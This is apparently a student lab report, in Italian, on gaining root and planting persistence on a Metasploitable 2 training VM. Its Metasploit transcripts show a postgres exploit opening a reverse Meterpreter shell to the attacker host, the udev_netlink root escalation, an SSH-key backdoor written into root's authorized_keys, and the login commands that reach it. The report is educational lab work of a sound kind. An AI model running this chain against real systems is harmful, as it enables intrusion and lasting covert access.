

# Report Privilege Escalation e Persistenza su Sistema Linux

Data: 21 Gennaio 2026

Studente: Nicola Cassandra

Obiettivo: Ottenere i privilegi di amministratore (root) su una macchina target compromessa e garantire la persistenza dell'accesso.

Target: Metasploitable 2 (Linux)

## Introduzione e Scenario Iniziale

Inizialmente ho effettuato un exploit alla macchina vittima entrando come utente posgress quindi con privilegi limitati (utente standard). L'obiettivo della fase successiva è stato duplice: elevare i privilegi fino al livello **root** (Escalation) e installare una backdoor per accessi futuri (Persistence).

## Ricognizione Post-Exploitation

Per identificare il vettore d'attacco più idoneo per l'escalation, è stata effettuata una scansione interna una volta ottenuto l'accesso è stato utilizzato il modulo di Metasploit **post/multi/recon/local\_exploit\_suggester**. Questo strumento ha analizzato la versione del kernel e i pacchetti installati sulla macchina vittima, confrontandoli con un database di vulnerabilità note.

La scansione ha prodotto diversi risultati positivi (evidenziati in verde), indicando che il sistema era vulnerabile a molteplici exploit locali, tra cui vulnerabilità legate a *glibc*, *netfilter* e *udev*.

```
msf post(multi/recon/local_exploit_suggester) > sessions
Active sessions
=====
Id  Name  Type          Information           Connection
--  --   --
1   meterpreter x86/linux  postgres @ metasploitable.localdomain  192.168.50.10:4444 → 192.168.50.15:39309 (192.168.50.15)

msf post(multi/recon/local_exploit_suggester) > set session 1
session ⇒ 1
msf post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):
  Name          Current Setting  Required  Description
  SESSION        1                  yes       The session to run this module on
  SHOWDESCRIPTION false            yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.
msf post(multi/recon/local_exploit_suggester) > █
```

```

msf post(multi/recon/local_exploit_suggester) > run
[*] 192.168.50.15 - Collecting local exploits for x86/linux ...
/usr/share/metasploit-framework/lib/ruby/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here
[*] 192.168.50.15 - 237 exploit checks are being tried...
[*] 192.168.50.15 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[*] 192.168.50.15 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[*] 192.168.50.15 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] 192.168.50.15 - exploit/linux/local/netfilter_priv_esc_ipv6: The target appears to be vulnerable.
[*] 192.168.50.15 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] 192.168.50.15 - exploit/linux/persistence/autostart: The service is running, but could not be validated. Xorg is installed, possible desktop install.
[*] 192.168.50.15 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] 192.168.50.15 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.50.15 - Valid modules for session 1:

#   Name          Potentially Vulnerable?  Check Result
1  exploit/linux/local/glibc_ld_audit_dso_load_priv_esc  Yes   The target appears to be vulnerable.
2  exploit/linux/local/glibc_origin_expansion_priv_esc  Yes   The target appears to be vulnerable.
3  exploit/linux/local/netfilter_priv_esc_ipv4           Yes   The target appears to be vulnerable.
4  exploit/linux/local/netfilter_priv_esc_ipv6           Yes   The service is running, but could not be validated.
5  exploit/linux/local/su_login                          Yes   The target appears to be vulnerable.
6  exploit/linux/persistence/autostart                  Yes   The service is running, but could not be validated. Xorg is installed, possible desktop in
stall.
7  exploit/multi/persistence/cron                      Yes   The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
8  exploit/unix/local/setuid_nmap                      Yes   The target is vulnerable. /usr/bin/nmap is setuid
9  exploit/linux/local/abrt_raceabrt_priv_esc          No    The target is not exploitable.
10 exploit/linux/local/abrt_sosreport_priv_esc         No    The target is not exploitable.
11 exploit/linux/local/sf_packet_chocopo_root_priv_esc No    The target is not exploitable. System architecture i686 is not supported
12 exploit/linux/local/sf_packet_packet_set_ring_priv_esc No    The target is not exploitable.
13 exploit/linux/local/ansible_node_deployer           No    The target is not exploitable. Ansible does not seem to be installed, unable to find ansib

```

### 3. Privilege Escalation (Scalata dei Privilegi)

Dopo aver analizzato i risultati, è stato effettuato un primo tentativo con exploit che richiedevano la compilazione di codice sulla macchina target (es. *netfilter*). Tuttavia, questo approccio ha evidenziato la mancanza del compilatore *gcc* sul sistema vittima, rendendo necessaria la scelta di un exploit diverso.

La scelta è ricaduta su una vulnerabilità logica che non richiede compilazione complessa: **exploit/linux/local/udev\_netlink**.

Per eseguire l'attacco sono stati configurati i seguenti parametri:

- **SESSION:** Impostata sulla sessione attiva 1 per utilizzare il canale esistente.
- **LHOST:** Indirizzo IP della macchina attaccante (Kali).

L'esecuzione dell'exploit ha avuto successo, aprendo una nuova sessione Meterpreter (Session 2). La verifica tramite il comando *getuid* ha confermato l'acquisizione dei privilegi massimi: *uid=0(root)*.

```

Used when making a new connection via RHOSTS:
Name      Current Setting  Required  Description
DATABASE  postgres        no        The database to authenticate against
PASSWORD  postgres        no        The password for the specified username. Leave blank for a random password.
RHOSTS    192.168.50.15    no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     5432             no        The target port (TCP)
USERNAME  postgres        no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
LHOST    192.168.50.10    yes       The listen address (an interface may be specified)
LPORT    4444             yes       The listen port

Exploit target:
Id  Name
--  --
0   Linux x86

View the full module info with the info, or info -d command.

msf exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 192.168.50.10:4444
[*] 192.168.50.15:5432 - 192.168.50.15:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.50.15:5432 - Uploaded as /tmp/XeQxkBEE.so, should be cleaned up automatically
[*] Sending stage (1062760 bytes) to 192.168.50.15
[*] Meterpreter session 1 opened (192.168.50.10:4444 → 192.168.50.15:39309) at 2026-01-21 10:04:58 -0500

meterpreter > 

```

```

msf exploit(linux/local/udev_netlink) > set session 1
session => 1
msf exploit(linux/local/udev_netlink) > run
[*] Started reverse TCP handler on 192.168.50.10:4444
[*] Attempting to autodetect netlink pid...
[*] Meterpreter session, using get_processes to find netlink pid
[*] udev pid: 2374
[+] Found netlink pid: 2373
[*] Writing payload executable (207 bytes) to /tmp/bTiCROvng
[*] Writing exploit executable (1879 bytes) to /tmp/ujNFPgcIOI
[*] chmod'ing and running it ...
[*] Sending stage (1062760 bytes) to 192.168.50.15
[*] Meterpreter session 2 opened (192.168.50.10:4444 → 192.168.50.15:37053) at 2026-01-21 10:39:35 -0500

```

```

meterpreter > getuid
Server username: root
meterpreter > bg
[*] Backgrounding session 2 ...

```

## 4. Implementazione della Persistenza

```

msf exploit(unix/local/setuid_nmap) > search post/linux/manage/
Matching Modules
=====
#  Name
0  post/linux/manage/adduser
1  post/linux/manage/disable_clamav
2  post/linux/manage/geutebruck_post_exp
3  \_ action: CHANGE_IMAGE
4  \_ action: FREEZE_CAMERA
5  \_ action: RESUME_STREAM
6  post/linux/manage/iptables_rules
7  post/linux/manage/download_exec
8  post/linux/manage/dns_spoofing
9  post/linux/manage/pseudo_shell
10 post/linux/manage/sshkey_persistence

#  Name          Disclosure Date  Rank    Check  Description
0  post/linux/manage/adduser      .       normal  No     Add a new user to the system
1  post/linux/manage/disable_clamav .       normal  No     Disable ClamAV
2  post/linux/manage/geutebruck_post_exp .       normal  No     Geutebruck Camera Deface
3  \_ action: CHANGE_IMAGE        .       .       .     Display an arbitrary image instead of the video stream
4  \_ action: FREEZE_CAMERA       .       .       .     Freeze the camera and display the last image taken from the video stream
5  \_ action: RESUME_STREAM      .       .       .     Resume the camera's video stream and display the current live feed
6  post/linux/manage/iptables_rules .       normal  No     IPTABLES rules removal
7  post/linux/manage/download_exec .       normal  No     Linux Manage Download and Execute
8  post/linux/manage/dns_spoofing .       normal  No     Native DNS Spoofing module
9  post/linux/manage/pseudo_shell .       normal  No     Pseudo-Shell Post-Exploitation Module
10 post/linux/manage/sshkey_persistence .       excellent  No    SSH Key Persistence

Interact with a module by name or index. For example info 10, use 10 or use post/linux/manage/sshkey_persistence
msf exploit(unix/local/setuid_nmap) >

```

Con i privilegi di root garantiti, l'attenzione si è spostata sulla creazione di un accesso persistente che non richiedesse di rieseguire l'exploit in futuro. È stato utilizzato il modulo di post-exploitation **post/linux/manage/sshkey\_persistence**.

Il modulo è stato configurato per operare sulla sessione privilegiata (Session 2). Una volta lanciato, ha eseguito automaticamente due azioni critiche:

1. Generazione di una nuova coppia di chiavi SSH.
2. Installazione della chiave pubblica nel file **authorized\_keys** dell'utente root sulla macchina vittima.

L'output del modulo ha fornito il percorso locale della **chiave privata** necessaria per l'autenticazione.

```

msf post(linux/manage/sshkey_persistence) > set session 2
Session ⇒ 2
msf post(linux/manage/sshkey_persistence) > run
[*] Checking SSH Permissions
[*] Authorized Keys File: .ssh/authorized_keys
[*] Finding .ssh directories
[*] Storing new private key as /home/kali/.msf4/loot/20260121105749_default_192.168.50.15_id_rsa_234300.txt
[*] Adding key to /home/msfadmin/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /home/user/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /root/.ssh/authorized_keys
[*] Key Added
[*] Post module execution completed

```

## 5. Verifica dell'Accesso e Risoluzione Problemi SSH

La fase finale ha previsto la verifica della backdoor tramite connessione SSH diretta. Durante questo processo sono state affrontate e risolte due problematiche tecniche:

- Permessi della Chiave:** Il client SSH ha inizialmente rifiutato la chiave privata perché i permessi erano troppo aperti. Il problema è stato risolto applicando `chmod 600 <chiave>`.
- Compatibilità Crittografica:** A causa dell'obsolescenza del sistema target (Metasploitable 2), gli algoritmi di cifratura moderni di Kali Linux non erano compatibili con quelli del server. È stato necessario forzare l'uso dell'algoritmo RSA tramite le opzioni `-o HostKeyAlgorithms=+ssh-rsa` e `-o PubkeyAcceptedKeyTypes=+ssh-rsa`.

Il comando finale utilizzato è stato:

Bash

```
ssh -o HostKeyAlgorithms=+ssh-rsa -i /percorso/chiave root@IP_TARGET
```

Il test ha confermato l'accesso completo alla shell di root senza richiesta di password.

```

(kali㉿kali)-[~]
$ chmod 600 /home/kali/.msf4/loot/20260121105749_default_192.168.50.15_id_rsa_234300.txt
(kali㉿kali)-[~]
$ ssh -i /home/kali/.msf4/loot/20260121105749_default_192.168.50.15_id_rsa_234300.txt root@192.168.50.15
Unable to negotiate with 192.168.50.15 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
[~]
(kali㉿kali)-[~]
$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -i /home/kali/.msf4/loot/20260121105749_default_192.168.50.15_id_rsa_234300.txt root@192.168.50.15
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openSSH.com/pq.html
Last login: Wed Jan 21 07:54:04 2026 from :0.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~# 

```

## Conclusioni

L'attività di test ha dimostrato la grave insicurezza del sistema target. Attraverso la catena di attacco eseguita, è stato possibile passare da un utente con privilegi minimi al controllo totale della macchina, stabilendo inoltre un canale di accesso permanente difficile da rilevare.